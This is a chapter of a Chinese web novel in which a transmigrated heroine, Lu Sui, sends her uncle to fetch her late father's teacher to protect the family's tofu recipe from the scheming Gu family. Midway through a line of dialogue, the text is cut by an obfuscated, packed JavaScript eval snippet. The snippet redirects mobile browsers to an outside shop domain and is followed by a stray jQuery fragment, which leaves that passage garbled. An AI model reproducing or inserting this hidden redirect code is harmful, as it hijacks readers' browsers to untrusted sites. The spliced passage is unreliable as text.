原主可能想着,反正她没了,豆腐方子也没了,谁也别想得到。
结果原主是没了,让她占据了这副身体。卢岁平息了一下自己的心态,努力寻找破局。
目前来说,这些家人还是值得一信的,但她不会毫无保留的信任,所以豆腐方子,她是不会说出去的。
纵然她在梦里看到原主背着家里人偷偷摸摸的给顾三郎送钱,有恋爱脑的嫌疑,在这一点上,原主也很值得称赞。
好歹还有点儿理智,没把关键的方子说出去。更没把方子的事情透露给顾三郎,不然以那顾三郎狠心的程度,拿到了方子,怕是会直接送原主去死。
方才那砍柴刀从秦氏耳朵旁边擦过去,也不是她砍偏了,是她根本就没打算把秦氏砍死。
卢岁又不傻,没必要为了秦氏这种人陪葬,她只不过是为了激怒秦氏,把事情闹的更大。
先前大伯娘跟她把家里的事情说了一遍,卢岁就从中找到了一个可以求助的人物。
目光看了一圈众人,家里人都来了,叔伯还好,勉强能认出来,那些堂兄弟们,卢岁是真有些对不上人了,不过这会儿也不是她认人的时候。
卢岁直接看向人群中最年轻的叔叔,开口道:“小叔,你去一趟府城,去请钱举人过来。”
她说的这位钱举人,是她父亲的恩师,当初就是他为自己父母保的媒,也是他劝说父亲在家沉淀几年再去科举,千万不要因为浮躁,做出前途尽毁的事情。
提起这位钱举人的时候,大伯娘还说过,他得知父母被匪徒所杀的消息时,因为过于激动还吐了血,说都怪他,要不是他劝卢岁爹缓缓再参加科举,就不会遇上匪徒,后来更是因此大病了一场。
钱举人是想补偿卢家,只是卢家给拒绝了,钱举人是出于好意才提点的卢三郎,匪徒的事情,是谁都不想发生的。
可事情刚发生的时候,心里若说一点儿怨怼都没有是不可能的,是以对钱举人也没什么好脸色。
后来钱举人回了府城,在府衙谋了个教谕的位子,又给卢家送过几回信,说是日后不管遇到什么麻烦,只管去寻他。
卢家这边也没有回,更没有去找过钱举人帮忙。
事情过去这么多年了,若是卢岁不提,他们还真未必能想起那位钱举人来。也就田巧娘和卢岁说家里的事情时,提了几句钱举人的事情。
“这能行吗?”唐桂花开口道。
“如今我们被顾家冤枉,今日那顾三郎的爹娘被我激怒,势必不会善罢甘休,很有可能会将我们告官,借由县令的口来判定,将家里的豆腐方子判给他们家做赔偿,到时候我们不给也得给。钱举人是……是爹的老师,我是爹的女儿,如今我们受难,倘若他还能记着同爹的师徒情分,就会过来帮忙。”
从大伯娘的话里来看,那位钱举人,应该不是什么翻脸不认人的人。
另外就是,卢岁还打算把事情闹大。
因为她记得,那后续里还说了,顾三郎中了童生之后,县衙里的那个县丞看中他,想让他做女婿。
顾三郎娶了县丞的女儿,有个岳家帮衬,在县城里混得如鱼得水,结识了不少县城里的富户。
男主的仕途很顺利,在县城有岳父家撑腰,去了府城,又有府城的官员看中他,把女儿嫁给他,顾三郎又贬妻为妾,娶了府城官员的女儿。
等他上了京城,还被榜下捉婿,又成了京城官员的女婿,再如法炮制,连着两个妻子都被贬妻为妾,可顾三郎逐渐势大,身后还有人,他们也没法闹,想要闹的,都死了。
卢岁以前没事的时候,研究过古代的官员制度,虽说原文设定有些乱,可也应该是大差不差的,就算有作者的私设,也基本在男主身上,其他不会改变太多。
因着她那个秀才爹,家里也知道一些官员的规章制度,既然没反驳,那她八成没说错。
卢岁觉得,最好从源头上就把顾三郎的官路给掐死。那顾三郎就不是个好东西,要是让他做了大官,即便自己能够成功脱身,等来日他位高权重,顾三郎也会找机会弄死她的。
就看他家里父母的模样,顾三郎也不是什么善良的人,估计还是十分的小心眼儿。
所以,必须从现在就把源头掐断。
举人的功名可不低,还是在府城衙门做事,如若县衙的判决不公正,那钱举人,还是能帮忙周旋一二的。
他们必须尽快将钱举人请过来。
听着卢岁分析的头头是道,众人觉得她说的有道理。
“钱举人每年都会给咱家送节礼,想来还是念着三郎的。老五,你亲自去一趟府城,把事情跟钱举人说清楚,务必请他老人家来这里给岁丫主持公道。”卢守仁开口道。
卢岁是卢三郎唯一的血脉,因着那一份豆腐方子差点儿被顾家给逼死,想来钱举人会过来帮这个忙的。
唐桂花立马道:“可不是嘛,差点儿忘了钱举人了,当初就是那个钱举人建议三郎去参加科举的,哎呦,要不是他,咱家的三郎早该去考试了,也不会跟三弟妹在路上遇到匪徒。如今岁丫有事……”
“闭嘴!”四叔卢守智猛然呵斥道,打断了唐桂花的话。
这婆娘嘴可太快了,尽说些胡话。
事情跟钱举人并没有什么关系,他当时是好意,就连三郎自己都说,在家静静心,随后跟着钱举人去云游,有了很不一样的感悟。
从前的他,委实有些年少气盛了。
只是却是落得那样一个结局。
“你冲我吼什么?”唐桂花不服气的瞪了回去。
“你还胡说,信不信我……”卢守智见唐桂花还不知道收敛,抬手就要去打她。
唐桂花根本不怕他,掐腰凑过去道:“你打,你打死我吧。”
“行了,都别吵了!”卢岁被他们吵得脑袋嗡嗡的疼。
她喊了一句,唐桂花立马闭嘴了。
卢岁可是家里的财神娘娘,她唐桂花得罪谁,也不能得罪财神娘娘。
“小叔,你快些去,若是有人问起,别说是去找钱举人
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17704834|208288||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,说去办事就行。路上注意安全,实在不行,你花钱雇人陪着,总之以自身安全为重。“
卢岁又看向其他人,“另外,咱们的豆腐还要接着做,让旁人看看,这豆腐营生,只能是咱们家的。我不管那些人本家人还是外人,只要觊觎我的方子,谁敢来抢,我就对谁不客气。”
“好,说得好。”
门口传来一道声音。
一个头发花白的老太太被两个年轻姑娘左右搀扶着走了进来,旁边还有一个老爷子。
二人一前一后进门,众人连忙起身。
不出意外,这就是原身的爷爷奶奶,如今也是她的爷爷奶奶。
老太太走过来,抓着卢岁的胳膊,忍不住红了眼眶,“我可怜的孩子啊!”
卢阿奶看着面色很不好,比卢岁还要憔悴,拉着卢岁的手时,顿时红了眼眶。
“怎么就摊上了这样的事情呢。”
那顾家可当真不是个东西!
卢岁连忙把卢阿奶给安抚住。
卢阿爷要镇定许多,他刚才在门口都听到了,也看到了卢岁说话时的模样,那活脱脱的就是他家三郎在世时的样子啊。
且这孩子,妥妥就是随了三郎夫妻,格外的聪慧。
卢岁有些不自在的打了招呼,毕竟也不是很熟。
陪着说了一会儿话,主要是打听一下原主的过去,毕竟她现在可是手握失忆这个法宝,不怕露馅,不明白的就该直接问。
倒是老太太拍着她的手欣慰道,“你这模样,倒是像极了以前的时候。”
老太太说的以前,是卢岁认识顾三郎之前。纵然是一个村子里的,还同顾三郎有娃娃亲,可两个人刚开始根本不熟悉。
卢岁是女孩儿,又没了父母,老太太心疼她,不叫她做重事,只分配一些轻省的活儿给她做。
顾三郎要读书,不是去隔壁村子的学堂启蒙,就是在家里温书,也不怎么出门。
是以两个人一开始都没见过对方。
他们是卢家做出了豆腐之后才认识的,卢岁对温文有礼的顾三郎一见倾心,两个人之间又有了娃娃亲,才逐渐有了往来。
这些瞒得了别人,自然是瞒不过老太太的。
两个人本来就是娃娃亲,也都十多岁了,是该相处相处,等到了年岁就能成亲。对于给顾家送豆腐,其实是给顾三郎补身体的,希望他能早日考取功名,把卢岁娶回家。
没想到,那豆腐竟是喂出了一家子白眼狼来。
不管怎么样,他们自家日子还是要过下去了。
只是卢岁这样,也是被顾家坏了名声,只能等这事情平息之后,将她给远嫁了去。只要事情不传出去,她往后在夫家,还是能过的好的。
听着老太太念叨着,卢岁没说话,知道卢阿奶是真的在为她打算。想到这是古代,她要说自己终生不嫁,估计有些惊世骇俗。
她得先看看情况,如果真的能不嫁,那自然是最好的,至于被人说嘴,任由他们说去呗,又不会掉块肉。